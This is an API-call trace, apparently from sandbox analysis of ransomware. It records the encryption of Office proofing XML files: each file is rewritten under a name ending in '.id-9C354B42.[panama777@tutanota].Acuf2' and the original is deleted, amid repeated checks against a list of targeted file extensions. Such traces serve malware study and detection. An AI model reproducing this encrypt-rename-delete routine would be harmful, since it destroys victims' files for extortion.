	[0046.295] WriteFile (in: hFile=0x1bc, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x5c0, lpOverlapped=0x0) returned 1
	[0046.296] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0046.296] WriteFile (in: hFile=0x1bc, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0046.296] SetEndOfFile (hFile=0x1bc) returned 1
	[0046.296] CloseHandle (hObject=0x1bc) returned 1
	[0046.296] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.296] SetEndOfFile (hFile=0x178) returned 1
	[0046.297] CloseHandle (hObject=0x178) returned 1
	[0046.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0046.297] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 1
	[0046.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0046.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0046.298] lstrlenW (lpString=".doc") returned 4
	[0046.298] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.298] lstrlenW (lpString=".docx") returned 5
	[0046.298] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1
	[0046.298] lstrlenW (lpString=".pdf") returned 4
	[0046.298] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.298] lstrlenW (lpString=".xls") returned 4
	[0046.298] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.298] lstrlenW (lpString=".xlsx") returned 5
	[0046.298] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1
	[0046.298] lstrlenW (lpString=".ppt") returned 4
	[0046.298] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0046.298] lstrlenW (lpString=".zip") returned 4
	[0046.298] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.298] lstrlenW (lpString=".rar") returned 4
	[0046.298] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.298] lstrlenW (lpString=".bz2") returned 4
	[0046.298] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.298] lstrlenW (lpString=".7z") returned 3
	[0046.298] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0046.298] lstrlenW (lpString=".dbf") returned 4
	[0046.298] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0046.298] lstrlenW (lpString=".1cd") returned 4
	[0046.298] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0046.298] lstrlenW (lpString=".jpg") returned 4
	[0046.298] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0046.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0046.299] lstrlenW (lpString=".doc") returned 4
	[0046.299] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.299] lstrlenW (lpString=".docx") returned 5
	[0046.299] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1
	[0046.299] lstrlenW (lpString=".pdf") returned 4
	[0046.299] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.299] lstrlenW (lpString=".xls") returned 4
	[0046.299] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.299] lstrlenW (lpString=".xlsx") returned 5
	[0046.299] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1
	[0046.299] lstrlenW (lpString=".ppt") returned 4
	[0046.299] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0046.299] lstrlenW (lpString=".zip") returned 4
	[0046.299] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.299] lstrlenW (lpString=".rar") returned 4
	[0046.299] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.299] lstrlenW (lpString=".bz2") returned 4
	[0046.299] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.299] lstrlenW (lpString=".7z") returned 3
	[0046.299] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0046.299] lstrlenW (lpString=".dbf") returned 4
	[0046.299] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0046.299] lstrlenW (lpString=".1cd") returned 4
	[0046.299] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0046.299] lstrlenW (lpString=".jpg") returned 4
	[0046.299] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.300] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0046.300] lstrlenW (lpString="Proof.XML") returned 9
	[0046.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0046.300] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=1458) returned 1
	[0046.300] CloseHandle (hObject=0x178) returned 1
	[0046.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 0x20
	[0046.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0046.300] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.300] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.301] GetLastError () returned 0x0
	[0046.301] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x5b2, lpOverlapped=0x0) returned 1
	[0046.302] WriteFile (in: hFile=0x1bc, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x5c0, lpOverlapped=0x0) returned 1
	[0046.303] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0046.303] WriteFile (in: hFile=0x1bc, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0046.303] SetEndOfFile (hFile=0x1bc) returned 1
	[0046.304] CloseHandle (hObject=0x1bc) returned 1
	[0046.304] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.304] SetEndOfFile (hFile=0x178) returned 1
	[0046.304] CloseHandle (hObject=0x178) returned 1
	[0046.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0046.305] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml")) returned 1
	[0046.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0046.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0046.305] lstrlenW (lpString=".doc") returned 4
	[0046.305] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.305] lstrlenW (lpString=".docx") returned 5
	[0046.305] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1
	[0046.305] lstrlenW (lpString=".pdf") returned 4
	[0046.305] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.305] lstrlenW (lpString=".xls") returned 4
	[0046.305] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.305] lstrlenW (lpString=".xlsx") returned 5
	[0046.305] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1
	[0046.305] lstrlenW (lpString=".ppt") returned 4
	[0046.305] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0046.305] lstrlenW (lpString=".zip") returned 4
	[0046.305] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.306] lstrlenW (lpString=".rar") returned 4
	[0046.306] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.306] lstrlenW (lpString=".bz2") returned 4
	[0046.306] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.306] lstrlenW (lpString=".7z") returned 3
	[0046.306] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0046.306] lstrlenW (lpString=".dbf") returned 4
	[0046.306] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0046.306] lstrlenW (lpString=".1cd") returned 4
	[0046.306] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0046.306] lstrlenW (lpString=".jpg") returned 4
	[0046.306] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0046.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0046.306] lstrlenW (lpString=".doc") returned 4
	[0046.306] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.306] lstrlenW (lpString=".docx") returned 5
	[0046.306] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1
	[0046.306] lstrlenW (lpString=".pdf") returned 4
	[0046.306] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.306] lstrlenW (lpString=".xls") returned 4
	[0046.306] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.306] lstrlenW (lpString=".xlsx") returned 5
	[0046.306] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1
	[0046.306] lstrlenW (lpString=".ppt") returned 4
	[0046.306] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0046.306] lstrlenW (lpString=".zip") returned 4
	[0046.306] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.307] lstrlenW (lpString=".rar") returned 4
	[0046.307] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.307] lstrlenW (lpString=".bz2") returned 4
	[0046.307] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.307] lstrlenW (lpString=".7z") returned 3
	[0046.307] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0046.307] lstrlenW (lpString=".dbf") returned 4
	[0046.307] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0046.307] lstrlenW (lpString=".1cd") returned 4
	[0046.307] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML") returned 98
	[0046.307] lstrlenW (lpString=".jpg") returned 4
	[0046.307] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.307] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0046.307] lstrlenW (lpString="Proofing.XML") returned 12
	[0046.307] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0046.308] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=811) returned 1
	[0046.308] CloseHandle (hObject=0x178) returned 1
	[0046.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20
	[0046.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0046.309] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.309] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.309] GetLastError () returned 0x0
	[0046.309] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x32b, lpOverlapped=0x0) returned 1
	[0046.310] WriteFile (in: hFile=0x1bc, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x330, lpOverlapped=0x0) returned 1
	[0046.311] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0046.311] WriteFile (in: hFile=0x1bc, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0046.311] SetEndOfFile (hFile=0x1bc) returned 1
	[0046.311] CloseHandle (hObject=0x1bc) returned 1
	[0046.312] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.312] SetEndOfFile (hFile=0x178) returned 1
	[0046.312] CloseHandle (hObject=0x178) returned 1
	[0046.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0046.313] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 1
	[0046.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0046.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0046.313] lstrlenW (lpString=".doc") returned 4
	[0046.313] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.313] lstrlenW (lpString=".docx") returned 5
	[0046.313] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1
	[0046.313] lstrlenW (lpString=".pdf") returned 4
	[0046.313] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.313] lstrlenW (lpString=".xls") returned 4
	[0046.313] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.313] lstrlenW (lpString=".xlsx") returned 5
	[0046.313] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1
	[0046.313] lstrlenW (lpString=".ppt") returned 4
	[0046.313] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0046.313] lstrlenW (lpString=".zip") returned 4
	[0046.313] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.313] lstrlenW (lpString=".rar") returned 4
	[0046.313] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.313] lstrlenW (lpString=".bz2") returned 4
	[0046.313] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.313] lstrlenW (lpString=".7z") returned 3
	[0046.314] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0046.314] lstrlenW (lpString=".dbf") returned 4
	[0046.314] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0046.314] lstrlenW (lpString=".1cd") returned 4
	[0046.314] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0046.314] lstrlenW (lpString=".jpg") returned 4
	[0046.314] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0046.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0046.314] lstrlenW (lpString=".doc") returned 4
	[0046.314] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.314] lstrlenW (lpString=".docx") returned 5
	[0046.314] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1
	[0046.314] lstrlenW (lpString=".pdf") returned 4
	[0046.314] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.314] lstrlenW (lpString=".xls") returned 4
	[0046.314] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.314] lstrlenW (lpString=".xlsx") returned 5
	[0046.314] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1
	[0046.314] lstrlenW (lpString=".ppt") returned 4
	[0046.314] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0046.314] lstrlenW (lpString=".zip") returned 4
	[0046.314] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.314] lstrlenW (lpString=".rar") returned 4
	[0046.314] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.314] lstrlenW (lpString=".bz2") returned 4
	[0046.315] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.315] lstrlenW (lpString=".7z") returned 3
	[0046.315] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0046.315] lstrlenW (lpString=".dbf") returned 4
	[0046.315] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0046.315] lstrlenW (lpString=".1cd") returned 4
	[0046.315] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107
	[0046.315] lstrlenW (lpString=".jpg") returned 4
	[0046.315] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.315] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0046.315] lstrlenW (lpString="SETUP.XML") returned 9
	[0046.315] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0046.316] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=5884) returned 1
	[0046.316] CloseHandle (hObject=0x178) returned 1
	[0046.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml")) returned 0x20
